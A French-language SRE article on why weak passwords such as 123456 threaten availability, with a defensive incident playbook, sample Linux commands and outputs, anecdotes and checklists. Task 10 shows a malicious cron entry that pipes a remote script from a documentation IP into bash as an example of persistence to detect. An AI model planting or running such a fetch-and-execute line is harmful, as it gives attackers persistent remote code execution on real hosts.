123456 : l’auto-sabotage préféré de l’humanité

Pourquoi 123456 continue de gagner

Les gens ne choisissent pas 123456 parce qu’ils sont malveillants. Ils le choisissent parce que c’est le chemin de moindre résistance dans un monde conçu pour exiger des mots de passe partout, tout le temps, avec une UX et des conséquences incohérentes. Puis on s’étonne que des attaquants fassent l’évidence et essaient le mot de passe évident.

Du point de vue d’un SRE, 123456 n’est pas juste un « problème de sécurité ». C’est un problème d’disponibilité. Une fois qu’un attaquant a une porte d’entrée via un mot de passe faible, il ne se contente pas de lire des données. Il brûle du CPU, sature les disques, massacre les bases de données, spamme la messagerie sortante jusqu’à ce que votre réputation IP soit un cratère, et déclenche des boucles d’auto-scaling qui ressemblent à de la « croissance » jusqu’à ce que les finances appellent.

Et du point de vue d’un ingénieur stockage, les comptes compromis aiment transformer un stockage durable en confettis coûteux : chiffrer des fichiers, prendre des snapshots au mauvais rythme, supprimer des sauvegardes avec les mêmes identifiants, et remplir des volumes de déchets jusqu’à ce que tout devienne en lecture seule et que tout le monde s’intéresse soudainement aux « politiques de rétention ».

Voici la vérité inconfortable : 123456 n’est pas un mot de passe. C’est un vote pour l’échec. Votre rôle n’est pas de faire honte aux gens pour qu’ils votent mieux. Votre rôle est de concevoir des systèmes où ce vote ne peut pas passer.

Une citation pour cadrer l’état d’esprit, parce qu’elle tient dans chaque postmortem : « L’espoir n’est pas une stratégie. » — Gene Kranz.

Faits et contexte historique (court, concret, utile)

• La réutilisation des mots de passe est devenue normale quand la personne moyenne a commencé à gérer des dizaines de connexions ; la mémoire humaine n’a pas suivi, alors les attaquants l’ont fait à sa place.
• Les identifiants par défaut ont été livrés sur des appareils et appliances pendant des décennies parce que cela réduisait les appels au support et accélérait l’installation.
• Le credential stuffing est devenu courant dès que les dumps de breaches étaient volumineux et recherchables ; les attaquants ont cessé de « deviner » pour « rejouer ».
• Le brute force en ligne est devenu moins cher à mesure que botnets et infrastructures cloud ont permis des tentatives distribuées faciles à faire tourner et difficiles à bloquer.
• Les politiques de verrouillage ont parfois eu l’effet inverse en permettant des dénis de service : des attaquants bloquent délibérément des exécutifs pendant un incident.
• Le MFA par SMS a émergé parce que c’était simple, puis a été fragilisé par le SIM swapping et des processus télécom faibles.
• Les règles de complexité ont souvent amélioré ni la sécurité ni l’ergonomie ; les utilisateurs ont répondu par des motifs prédictibles à grande échelle.
• Les comptes de service ont historiquement échappé à la vigilance parce qu’ils ne se plaignent pas ; ils fonctionnent jusqu’à devenir silencieusement vos pires problèmes d’hygiène d’identifiants.
• Les secrets dans le code n’étaient pas considérés comme « secrets » dans de nombreux workflows anciens ; fichiers de config et dépôts étaient traités comme internes et donc sûrs.

Ce que permet 123456 : modèle de menace et modes de défaillance

Le playbook de l’attaquant est ennuyeux, et c’est pour ça qu’il marche

Quand un attaquant essaie 123456, il n’est pas ingénieux. Il est efficace. Il cible la longue traîne de comptes et d’interfaces que vous avez oubliés, hérités ou que vous ne connaissiez même pas :

• Panneaux d’administration exposés « temporairement » pendant une migration.
• SSH sur une bastion où quelqu’un a créé un utilisateur local « juste pour une minute ».
• Tableaux de bord de base de données avec authentification locale toujours activée parce que le SSO « était sur la feuille de route ».
• Appliances de stockage avec UI web protégée par des valeurs par défaut.
• Systèmes CI/CD où un token de service a des scopes admin parce que « il fallait déployer ».

Pourquoi les identifiants faibles sont un problème de disponibilité

Après la compromission, les charges qui nuisent à la production ont tendance à être :

• Vol de ressources : cryptominage, proxying, spam. Vous le remarquez via des pics CPU, des moyennes de charge, des coûts d’egress et des voisins bridés.
• Accès aux données : exfiltration ou scraping. Vous le remarquez via des requêtes inhabituelles, des exports longue durée et des vagues de lectures sur le stockage.
• Destruction : chiffrement, suppression, suppression de snapshots. Vous le remarquez via une amplification des écritures, des disques pleins, des sauvegardes manquantes et des dirigeants soudainement bruyants.

Les mots de passe faibles sont le premier domino. Le reste de la chaîne est composé de vos vraies dépendances de production : identité, réseau, journalisation, sauvegarde, et les parties de votre architecture de stockage auxquelles vous ne pensez qu’en cas d’incendie.

Petite blague n°1 : Un mot de passe comme 123456 est essentiellement un paillasson d’accueil, sauf que le paillasson remet aussi l’accès admin.

Playbook de diagnostic rapide : trouver le goulot en quelques minutes

Quand l’alerte sonne — les échecs de connexion montent en flèche, des comptes se font verrouiller, le CPU est au plafond, les disques s’emballent — votre première tâche est de déterminer si vous avez affaire à (a) du guessing de mots de passe, (b) du credential stuffing avec des identifiants valides, ou (c) une activité post-compromission. Voici la séquence qui fait gagner du temps.

Première étape : s’agit-il d’une pression d’authentification ou de dégâts post-auth ?

1. Vérifier les taux d’échecs de connexion en périphérie (reverse proxy, WAF, SSH). Si les échecs augmentent, vous voyez probablement du guessing ou du stuffing.
2. Vérifier les anomalies de connexions réussies (nouvelles IP, nouvelles géos, user agents étranges, connexions à des heures bizarres). Si les succès augmentent ou que les motifs changent, assumez une compromission.
3. Vérifier les signaux de saturation système : CPU, mémoire, charge, I/O disque et egress réseau. Si les ressources sont saturées, vous exécutez peut-être déjà des charges attaquantes.

Deuxième étape : identifier le point de congestion (CPU ? disque ? réseau ? locks ?)

1. CPU bloqué avec du temps système élevé : charges de crypto, compression, tempêtes TLS ou overhead kernel.
2. Disque saturé avec await élevé : amplification de logs, tempêtes d’écriture de base de données, processus de chiffrement, ou systèmes de fichiers pleins.
3. Egress réseau saturé : exfiltration, spam, proxying, ou C2 de botnet.
4. Backend d’auth saturé : LDAP/AD/IdP en difficulté, provoquant des retries et des timeouts en cascade.

Troisième étape : appliquer une contention qui n’explose pas tout

1. Limiter le débit et bloquer en périphérie (temporaire, ciblé). Ne vous DDoS pas avec des règles globales.
2. Désactiver ou isoler les interfaces à haut risque (portails admin, endpoints d’auth legacy).
3. Forcer des réinitialisations / révoquer des tokens pour les identités affectées, en commençant par les comptes privilégiés et les comptes de service.
4. Préserver les preuves : rotatez les identifiants, mais conservez les logs et un snapshot des hôtes compromis si vous pouvez le faire en sécurité.

Tâches pratiques (commandes, sorties, décisions)

Ce sont des choses réelles à exécuter sur une flotte Linux, un proxy ou un nœud dans le rayon d’explosion. Chaque tâche inclut une commande, une sortie d’exemple, ce que ça signifie et la décision à prendre.

1) Détecter une vague de brute-force contre SSH

cr0x@server:~$ sudo journalctl -u ssh --since "30 min ago" | grep -E "Failed password|Invalid user" | tail -n 8
Jan 22 11:41:02 server sshd[23144]: Failed password for invalid user admin from 203.0.113.77 port 52110 ssh2
Jan 22 11:41:05 server sshd[23144]: Failed password for invalid user admin from 203.0.113.77 port 52110 ssh2
Jan 22 11:41:09 server sshd[23149]: Failed password for root from 198.51.100.24 port 44891 ssh2
Jan 22 11:41:13 server sshd[23152]: Invalid user test from 203.0.113.77 port 52112
Jan 22 11:41:16 server sshd[23152]: Failed password for invalid user test from 203.0.113.77 port 52112 ssh2
Jan 22 11:41:20 server sshd[23158]: Failed password for ubuntu from 198.51.100.24 port 44902 ssh2
Jan 22 11:41:24 server sshd[23158]: Failed password for ubuntu from 198.51.100.24 port 44902 ssh2
Jan 22 11:41:29 server sshd[23163]: Failed password for invalid user oracle from 192.0.2.10 port 60123 ssh2

Signification : Plusieurs IP, noms d’utilisateur communs, échecs rapides. C’est de l’automatisation de guessing.

Décision : Si vous autorisez encore l’authentification par mot de passe sur SSH, arrêtez. Passez aux clés, limitez le débit et bloquez les sources abusives.

2) Compter les échecs par IP source (triage rapide)

cr0x@server:~$ sudo journalctl -u ssh --since "30 min ago" | grep "Failed password" | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head
120 203.0.113.77
64 198.51.100.24
18 192.0.2.10

Signification : Top talkers. L’IP la plus active fait la majeure partie du trafic.

Décision : Bloquez les principales sources au firewall pendant que vous mettez en place des contrôles durables (clés, MFA, fail2ban, règles WAF).

3) Vérifier si l’authentification par mot de passe SSH est activée

cr0x@server:~$ sudo sshd -T | egrep 'passwordauthentication|permitrootlogin|pubkeyauthentication'
passwordauthentication yes
permitrootlogin prohibit-password
pubkeyauthentication yes

Signification : Les mots de passe sont autorisés. C’est votre invitation ouverte au guessing d’identifiants.

Décision : Définissez PasswordAuthentication no, rechargez SSH, assurez-vous d’avoir un accès hors bande, et vérifiez la distribution des clés d’abord.

4) Appliquer un blocage firewall ciblé (confinement temporaire)

cr0x@server:~$ sudo iptables -I INPUT -s 203.0.113.77 -p tcp --dport 22 -j DROP
cr0x@server:~$ sudo iptables -L INPUT -n --line-numbers | head -n 10
Chain INPUT (policy ACCEPT)
num  target     prot opt source           destination
1    DROP       tcp  --  203.0.113.77     0.0.0.0/0            tcp dpt:22
2    ACCEPT     all  --  0.0.0.0/0        0.0.0.0/0

Signification : L’hôte rejettera les paquets SSH de cette source.

Décision : Utilisez ceci pour un soulagement immédiat. Ne le confondez pas avec un contrôle à long terme ; les attaquants tournent leurs IP.

5) Confirmer si vous faites face à du credential stuffing sur une connexion web

cr0x@server:~$ sudo awk '$9 ~ /401|403/ {print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -nr | head
980 203.0.113.88
744 198.51.100.61
233 192.0.2.44

Signification : Volume élevé d’échecs d’auth provenant de quelques IP. C’est probablement automatisé.

Décision : Limitez le débit des endpoints de connexion, activez la mitigation bots et vérifiez s’il y a des succès provenant des mêmes sources.

6) Trouver des connexions réussies suspectes (même endpoint, réponse différente)

cr0x@server:~$ sudo awk '$7 ~ /\/login/ && $9 ~ /200|302/ {print $1, $4, $7, $9, $12}' /var/log/nginx/access.log | tail -n 5
198.51.100.61 [22/Jan/2026:11:32:09 +0000] /login 302 "Mozilla/5.0"
203.0.113.88 [22/Jan/2026:11:32:14 +0000] /login 302 "python-requests/2.31.0"
192.0.2.44 [22/Jan/2026:11:32:19 +0000] /login 302 "Mozilla/5.0"
198.51.100.61 [22/Jan/2026:11:32:21 +0000] /login 302 "Mozilla/5.0"
203.0.113.88 [22/Jan/2026:11:32:25 +0000] /login 302 "python-requests/2.31.0"

Signification : Des succès sont mélangés à la tempête d’échecs, y compris un client scripté. C’est un signal rouge.

Décision : Traitez comme une prise de compte potentielle. Invalidez les sessions et enquêtez immédiatement sur les comptes affectés.

7) Vérifier la présence de nouveaux utilisateurs locaux (persistance post-compromission)

cr0x@server:~$ sudo awk -F: '$3 >= 1000 {print $1 ":" $3 ":" $7}' /etc/passwd
ubuntu:1000:/bin/bash
deploy:1001:/bin/bash
backup:1002:/usr/sbin/nologin

Signification : Des comptes locaux existent au-delà des utilisateurs système. La question : sont-ils attendus ?

Décision : Si un utilisateur interactif inattendu apparaît, supposez une compromission. Désactivez-le, rotatez clés/tokens et examinez les logs d’auth pour l’heure de création.

8) Identifier les pics d’egress sortant (vol de données ou spam)

cr0x@server:~$ sudo ss -tnp state established '( sport = :443 or sport = :80 )' | head
ESTAB 0 0 10.0.1.12:443 198.51.100.200:51844 users:(("nginx",pid=1203,fd=33))
ESTAB 0 0 10.0.1.12:443 203.0.113.200:49210 users:(("nginx",pid=1203,fd=41))
ESTAB 0 0 10.0.1.12:443 192.0.2.200:37214 users:(("nginx",pid=1203,fd=52))

Signification : Les connexions établies sont normales, mais il vous faut le contexte de volume.

Décision : Si vous voyez des milliers de connexions sortantes depuis une machine qui ne devrait pas en initier, commencez la contention et inspectez les processus.

9) Trouver les processus consommant le plus de CPU (le cryptominer se trahit)

cr0x@server:~$ ps -eo pid,comm,%cpu,%mem --sort=-%cpu | head
 8442 kswapd0  92.1  0.0
 9011 xmrig    88.3  1.2
 1203 nginx    14.2  0.8
  982 mysqld    7.4 12.3

Signification : Un processus comme xmrig est un workload classique de minage ; kswapd0 indique aussi une pression mémoire et du thrash.

Décision : Quarantaine de l’hôte, tuer le processus, préserver les preuves si nécessaire, rotatez les identifiants et recherchez la persistance (cron, unités systemd, bashrc).

10) Détecter des entrées cron suspectes (persistance)

cr0x@server:~$ sudo crontab -l
no crontab for root
cr0x@server:~$ sudo ls -l /etc/cron.d
total 8
-rw-r--r-- 1 root root 201 Jan 21 09:10 logrotate
-rw-r--r-- 1 root root 118 Jan 22 11:29 sys-update
cr0x@server:~$ sudo cat /etc/cron.d/sys-update
*/5 * * * * root curl -fsSL http://192.0.2.55/u.sh | bash

Signification : Un job cron qui récupère un script via HTTP n’est presque jamais de la « maintenance ». C’est de la persistance.

Décision : Supprimez-le, bloquez l’egress vers l’hôte, recherchez la même signature sur la flotte et considérez les secrets sur cette machine comme compromis.

11) Vérifier la politique de mots de passe Linux (autorisez-vous de la pagaille ?)

cr0x@server:~$ sudo grep -E 'PASS_(MAX|MIN)_DAYS|PASS_MIN_LEN' /etc/login.defs
PASS_MAX_DAYS   99999
PASS_MIN_DAYS   0
PASS_MIN_LEN    6

Signification : Six caractères minimum et expiration pratiquement inexistante, c’est une invitation aux mots de passe faibles et au risque éternel.

Décision : Passez à des exigences plus fortes et, surtout, au MFA et à l’auth par clés pour les admins. L’expiration seule n’est pas une solution ; elle peut augmenter la réutilisation.

12) Vérifier la politique de verrouillage de compte sur PAM (éviter l’auto-DoS)

cr0x@server:~$ sudo grep -R "pam_faillock" -n /etc/pam.d/common-auth
12:auth required pam_faillock.so preauth silent deny=5 unlock_time=900
13:auth [default=die] pam_faillock.so authfail deny=5 unlock_time=900

Signification : Verrouillage après 5 échecs pendant 15 minutes. Cela peut arrêter le guessing, mais ça peut aussi être atomisé en arme.

Décision : Pour les comptes à haute valeur, préférez MFA + limites de débit + détection d’anomalies. Conservez le verrouillage, mais ciblez-le finement et protégez les utilisateurs critiques contre le verrouillage ciblé.

13) Détecter les mots de passe faibles dans AD de façon sûre (pas de clair, pas de guessing en prod)

cr0x@server:~$ sudo samba-tool domain passwordsettings show
Minimum password length: 12
Password complexity: on
Password history length: 24
Maximum password age (days): 0

Signification : La politique est correcte sur le papier : 12 caractères, complexité activée, pas de rotation forcée.

Décision : Une politique seule n’empêche pas 123456 s’il existe des exceptions legacy, des apps locales ou des authentifications externes. Utilisez des listes de mots interdits et vérifiez les mots de passe faibles avec des outils approuvés.

14) Confirmer si votre appli autorise encore la connexion admin locale

cr0x@server:~$ grep -R "local_auth" -n /etc/myapp/config.yml
41:local_auth: true

Signification : L’auth locale est activée ; le SSO peut exister mais n’est pas appliqué.

Décision : Désactivez l’auth locale ou restreignez-la à des comptes break-glass stockés dans un coffre avec MFA et surveillance.

15) Rechercher des secrets fuités dans les fichiers d’environnement (les identifiants de service aiment s’y cacher)

cr0x@server:~$ sudo grep -R "PASSWORD=" -n /etc/systemd/system | head
/etc/systemd/system/api.service.d/override.conf:3:Environment="DB_PASSWORD=123456"
/etc/systemd/system/worker.service.d/override.conf:4:Environment="REDIS_PASSWORD=redispass"

Signification : Vous avez des secrets en clair dans des configs de service, y compris un littéral 123456. Ce n’est pas rare. C’est juste coûteux.

Décision : Déplacez les secrets dans un vault approprié, rotatez-les, restreignez les permissions de lecture sur les unit files et auditez la propagation.

16) Valider que les sauvegardes sont immuables ou au moins séparées (vérif sanity du stockage)

cr0x@server:~$ zfs list -t snapshot -o name,creation | tail -n 5
tank/backups@2026-01-21_0200  Thu Jan 21 02:00 2026
tank/backups@2026-01-21_0400  Thu Jan 21 04:00 2026
tank/backups@2026-01-21_0600  Thu Jan 21 06:00 2026
tank/backups@2026-01-21_0800  Thu Jan 21 08:00 2026
tank/backups@2026-01-21_1000  Thu Jan 21 10:00 2026

Signification : Des snapshots existent. Nécessaire, pas suffisant.

Décision : Si les mêmes identifiants qui peuvent supprimer la production peuvent supprimer les snapshots, vous n’avez pas de plan de reprise — vous avez un plan d’espoir. Séparez les responsabilités et protégez les sauvegardes.

Petite blague n°2 : Si votre plan d’incident repose sur « personne n’essaierait 123456 », vous avez construit une exposition muséale, pas un programme de sécurité.

Trois mini-récits d’entreprise du terrain

Mini-récit 1 : L’incident causé par une fausse hypothèse

Une entreprise SaaS de taille moyenne avait un portail admin client, derrière un CDN et un reverse proxy moderne. L’équipe d’ingénierie supposait que le endpoint de connexion était « assez sûr » parce que le proxy avait des règles bots génériques et parce que l’application avait une politique de verrouillage : cinq tentatives échouées, puis 10 minutes de cooldown.

Puis la file support s’est enflammée. Les clients ne pouvaient plus se connecter. Le tableau de bord ops montrait une santé propre : CPU normal, mémoire normale, taux d’erreur légèrement élevé mais pas dramatique. Ça ressemblait à un problème UX. Ce n’en était pas un.

Les attaquants ne cherchaient pas à forcer les comptes. Ils cherchaient à nier l’accès en verrouillant délibérément des admins clients à haute valeur. C’était du « credential stuffing » avec un twist : même sans identifiants valides, le verrouillage était la charge utile. L’hypothèse de l’équipe — « le verrouillage nous protège » — est devenue le modèle de menace que l’attaquant voulait.

La contention a été inconfortable : ils ont désactivé temporairement le verrouillage pour les admins clients, ont mis en place des limites de débit et la réputation IP en périphérie, et ajouté une étape de challenge adaptatif pour les tentatives suspectes. La douleur client a chuté immédiatement.

La correction long terme fut plus propre : imposer le MFA pour les rôles admin, ajouter de la détection d’anomalies pour les motifs de verrouillage, et modifier le comportement de verrouillage pour ralentir les attaquants sans bloquer les utilisateurs légitimes (délais progressifs plutôt que verrous durs).

Mini-récit 2 : L’optimisation qui s’est retournée contre eux

Une fintech avait des paramètres de hashing de mot de passe stricts — algorithme fort, facteur de coût élevé. Bien. Puis ils ont eu un incident de performance : latences de connexion en hausse aux heures de pointe. La solution rapide a été présentée comme une « optimisation » : abaisser le coût du hash pour que l’authentification ne soit plus liée au CPU.

Ça a marché. La latence a reculé. Les graphiques sont revenus au calme. Tout le monde s’est félicité d’avoir été pragmatique sous la pression, ce qui est le signe que vous allez apprendre quelque chose.

En quelques semaines, l’organisation a observé une hausse des prises de compte, surtout sur des comptes avec mots de passe réutilisés. Les attaquants ne craquaient pas les hashes hors-ligne ; ils faisaient du stuffing en ligne. Mais le coût réduit a diminué la pénalité CPU par tentative, rendant le service plus réactif pour les attaquants aussi. Les limites de débit étaient faibles. Les règles WAF génériques. L’optimisation a augmenté le débit effectif de la pipeline attaquante.

La remédiation fut une leçon SRE complète : on n’optimise pas l’auth en l’affaiblissant. On ajoute de la capacité, des throttles intelligents, du MFA, une meilleure gestion des sessions, et on protège le endpoint de login comme on protègerait une base de données de production — parce que c’en est une.

Ils ont remonté le coût de hashing, mis en place des délais progressifs, et déplacé les vérifications d’auth à haut risque vers une couche dédiée avec autoscaling et observabilité stricte. Ils ont aussi appris à mesurer le trafic attaquant comme une charge à part entière.

Mini-récit 3 : La pratique ennuyeuse mais correcte qui a sauvé la mise

Une organisation de santé exploitait un mix on-prem/cloud, incluant du stockage contenant des données réglementées. Ils n’étaient pas tape-à-l’œil. Ils n’achetaient pas tous les nouveaux produits de sécurité. Ils faisaient deux choses ennuyeuses de façon constante : journalisation centralisée avec rétention, et audits réguliers des identifiants pour comptes privilégiés et comptes de service.

Un matin, des alertes ont signalé un egress sortant inhabituel depuis un serveur applicatif. La suspicion immédiate fut le malware. Mais l’astreinte avait mieux qu’une suspicion : une piste de connexion claire. Les logs montraient une connexion admin réussie à un tableau de bord legacy depuis une plage IP jamais vue auparavant, suivie de la création d’un token API.

Le token avait été créé avec un compte de service qui avait été exempté du MFA « temporairement » des mois plus tôt. Cette exemption avait un ticket, et le ticket avait un responsable. Ce responsable était joignable. La timeline fut courte parce que les preuves existaient déjà, pas dispersées en dix endroits.

Ils ont révoqué les tokens, rotated les identifiants du compte de service, et bloqué l’egress. Surtout, ils ont retrouvé la confiance rapidement : les sauvegardes étaient sur un système séparé avec des identifiants séparés, et les snapshots étaient conservés avec des droits de suppression contrôlés.

L’incident est resté mineur plutôt que majeur. Pas parce qu’ils ont eu de la chance, mais parce qu’ils traitaient l’identité comme de l’infrastructure de production et ont fait la maintenance ennuyeuse avant la panne excitante.

Erreurs courantes : symptôme → cause racine → correctif

1) Symptom : « On voit des milliers d’échecs de connexion, mais pas de compromissions »

Cause racine : Vous supposez que compromission signifie seulement « données accédées ». Les attaquants font aussi du DoS par verrouillage de comptes, de l’énumération et de la reconnaissance.

Correctif : Traitez les échecs de connexion comme une préoccupation SLO de disponibilité. Ajoutez des limites de débit, des délais progressifs et de la détection de bots. Protégez le endpoint de login comme une API de production.

2) Symptom : « Nous avons activé le MFA, mais les attaquants sont quand même passés »

Cause racine : Le MFA n’était pas appliqué à tous les chemins privilégiés (admin local legacy, tokens API, comptes de service, comptes break-glass). Ou vous avez utilisé des facteurs faibles sans contrôles compensatoires.

Correctif : Inventoriez chaque chemin d’auth : UI, API, SSH, consoles DB, dashboards admin. Appliquez MFA et accès conditionnel de façon cohérente. Supprimez les chemins legacy ou protégez-les derrière des contrôles plus stricts.

3) Symptom : « Les utilisateurs continuent de choisir des mots de passe faibles malgré la politique »

Cause racine : Les règles de complexité ont appris aux utilisateurs à créer des motifs prévisibles ; vous n’avez pas mis en place de listes de mots interdits ni de gestionnaires de mots de passe.

Correctif : Utilisez une liste de mots interdits et exigez des phrases de passe plus longues. Fournissez un gestionnaire de mots de passe et faites-en la valeur par défaut, pas une suggestion.

4) Symptom : « Un compte compromis unique a détruit les sauvegardes aussi »

Cause racine : Les droits de suppression de sauvegarde sont partagés avec les droits admin production ; pas d’immuabilité ni de séparation des devoirs.

Correctif : Séparez identifiants et rôles. Utilisez des sauvegardes immuables ou au moins une rétention en écriture-une-fois et des identités dédiées pour les sauvegardes. Surveillez agressivement les événements de suppression de snapshot.

5) Symptom : « On a bloqué des IP, mais l’attaque continue »

Cause racine : Vous combattez un système distribué avec une liste statique. Les attaquants tournent les IP via botnets et plages cloud.

Correctif : Utilisez des limites de débit, de la détection comportementale et des contrôles basés identité (MFA, binding de token, posture de l’appareil), pas seulement des blocs IP.

6) Symptom : « On ne peut pas désactiver l’auth par mot de passe sur SSH car l’automatisation va casser »

Cause racine : L’automatisation utilise des mots de passe partagés ou des utilisateurs locaux ad-hoc, pas des clés, ni des identifiants éphémères.

Correctif : Passez l’automatisation sur clés SSH (ou mieux : certificats éphémères). Rotatez et scopez les identifiants. Traitez les identités d’automatisation comme des comptes de service hautement privilégiés.

7) Symptom : « Les latences de connexion montent pendant le trafic d’attaque »

Cause racine : L’auth est liée au CPU (coût de hashing, terminaison TLS), ou le backend d’auth est saturé (timeouts LDAP/IdP). Les retries amplifient la charge.

Correctif : Isolez la couche d’auth, autoscalez, mettez en cache de façon responsable, ajoutez des coupe-circuits et throttlez les tentatives de connexion en périphérie avant le travail coûteux du backend.

8) Symptom : « Nous avons roté des mots de passe, mais l’activité suspecte continue »

Cause racine : Les tokens/sessions n’ont pas été invalidés ; l’attaquant a une persistance (cron/systemd), ou d’autres identifiants ont aussi été compromis.

Correctif : Invalidez les sessions, révoquez les tokens, rotatez tous les secrets dans le rayon d’explosion, chassez la persistance, et vérifiez via les logs que les vieux tokens ne fonctionnent plus.

Checklists / plan étape par étape

Étape par étape : éliminer les défaillances de type 123456 sans noyer l’effort

1. Inventoriez les surfaces d’auth. Listez chaque chemin de connexion : apps web, portails admin, SSH, VPN, bases de données, UIs de stockage, CI/CD, outils de monitoring.
2. Supprimez les identifiants par défaut. Pour tout ce qui est livré avec des valeurs par défaut, changez-les au provisioning. Aucune exception.
3. Appliquez MFA d’abord pour les rôles privilégiés. Admins, opérateurs, mainteneurs CI/CD, admins stockage, et tout compte pouvant supprimer des sauvegardes.
4. Désactivez l’auth par mot de passe là où c’est possible. SSH doit être basé sur des clés ; les panels admin internes doivent être derrière SSO avec accès conditionnel.
5. Implémentez une politique de mots interdits. Rejetez explicitement les chaînes faibles et séquences communes, y compris 123456 et apparentés.
6. Corrigez les comptes de service. Pas de mots de passe partagés. Privilégiez les tokens short-lived. Scopez les permissions. Rotatez selon un calendrier que vous respectez réellement.
7. Ajoutez des limites de débit et des délais progressifs. En périphérie, avant les opérations backend coûteuses. Traitez l’auth comme un chemin critique.
8. Centralisez les logs et conservez-les. Logs d’auth, actions admin, création/revocation de tokens, suppressions de snapshot et changements de privilèges.
9. Séparez l’autorité des sauvegardes. Les sauvegardes doivent survivre à la compromission des identifiants admin de production.
10. Faites des exercices tabletop. Entraînez-vous au scénario « credential stuffing + compromission partielle » et mesurez le temps de contention et le temps de restauration.

Checklist opérationnelle pour une attaque active

• Confirmer si des succès se produisent parmi les échecs (stuffing vs guessing).
• Bloquer/limiter le débit en périphérie ; ne surchargez pas votre IdP/LDAP de retries.
• Identifier les comptes ciblés (privilégiés en priorité). Forcer des réinitialisations et révoquer sessions/tokens.
• Inspecter la persistance sur les hôtes montrant des comportements anormaux.
• Préserver les logs et artefacts d’hôte pertinents ; ne nettoyez pas avant d’avoir posé des questions.
• Vérifier l’intégrité et l’isolement des sauvegardes avant d’en avoir besoin.

FAQ

Pourquoi 123456 est-il encore si courant ?

Parce que la friction est réelle et que les conséquences sont différées. Les gens optimisent pour « ça marche maintenant », surtout sous pression temporelle. Les systèmes doivent rendre le chemin sécurisé le plus simple.

Interdire 123456 suffit-il ?

Non. Interdire les mots faibles est le minimum. La vraie victoire vient du MFA, de l’élimination de l’auth par mot de passe quand c’est possible, et de la limitation du rayon d’action via le principe du moindre privilège et le scope des tokens.

La complexité des mots de passe aide-t-elle ?

Parfois, mais elle entraîne souvent des motifs prévisibles. Préférez des phrases de passe plus longues, des listes de mots interdits et des gestionnaires de mots de passe. La complexité sans utilisabilité conduit à la réutilisation.

Faut-il forcer la rotation tous les 90 jours ?

Pas par défaut. La rotation forcée peut augmenter les changements prévisibles et la réutilisation, sauf si vous avez une preuve de compromission. Rotatez quand le risque change (fuite, changement de rôle, activité suspecte) et pour les comptes de service selon un calendrier géré.

Quelle est la différence entre brute force et credential stuffing ?

Le brute force devine les mots de passe à l’aveugle. Le credential stuffing réutilise des paires nom d’utilisateur/mot de passe connues provenant de breaches précédents. Le stuffing réussit plus souvent, donc il faut surveiller les connexions réussies pour des anomalies, pas seulement les échecs.

Que faire des comptes de service qui « ne peuvent pas utiliser le MFA » ?

Cette phrase signifie généralement « on l’a mal conçu ». Utilisez des tokens short-lived, l’identité workload, des certificats SSH, ou des clés API strictement scoppées stockées dans un gestionnaire de secrets. Si vous devez garder un secret statique, rotatez-le et contraignez sévèrement ses permissions.

Comment éviter de verrouiller les utilisateurs légitimes pendant une attaque ?

Utilisez des délais progressifs, la réputation dispositif/IP, et des challenges plutôt que des verrous durs. Les verrous durs sont faciles à weaponiser, surtout contre des comptes VIP.

Quels logs sont les plus utiles pour enquêter sur une prise de compte ?

Événements d’auth (succès/échec), création et révocation de tokens/sessions, changements de privilèges/rôles, réinitialisations de mot de passe, et actions admin sensibles (export, suppression, destruction de snapshot). Gardez des timestamps consistants et consultables.

Comment cela se rapporte-t-il au stockage et aux sauvegardes spécifiquement ?

Les identifiants compromis sont souvent utilisés pour supprimer des snapshots, chiffrer des partages de fichiers et détruire des points de restauration. La résilience stockage est un problème d’identité : séparez les identifiants, appliquez la rétention immuable et surveillez les droits de suppression.

Le MFA suffit-il pour tout arrêter ?

Non. Il réduit fortement le risque, mais les attaquants pivotent : hijacking de session, vol de tokens, ingénierie sociale et exploitation de chemins d’auth legacy. Le MFA est une fondation, pas une ligne d’arrivée.

Prochaines étapes qui réduisent réellement le risque

Commencez par les endroits où 123456 fait le plus de dégâts : comptes privilégiés, interfaces admin exposées, SSH, et tout ce qui peut supprimer des sauvegardes. Faites le travail ingrat : inventoriez les surfaces d’auth, imposez le MFA de façon cohérente, désactivez l’auth par mot de passe quand c’est possible, et ajoutez des limites de débit qui protègent votre backend de travaux coûteux à la demande d’un attaquant.

Puis rendez la récupération réelle. Séparez l’autorité des sauvegardes, testez les restaurations, et surveillez les événements qui comptent : création de tokens, changements de rôles, suppressions de snapshot et connexions réussies depuis des contextes nouveaux. Si vous ne pouvez pas répondre à « qui s’est connecté, d’où, et qu’a-t-il fait » en quelques minutes, votre journalisation n’est pas de l’observabilité — c’est de la décoration.

L’objectif n’est pas d’apprendre aux humains à cesser d’être humains. L’objectif est d’exploiter des systèmes qui n’autorisent pas que six chiffres se transforment en dommages à six chiffres.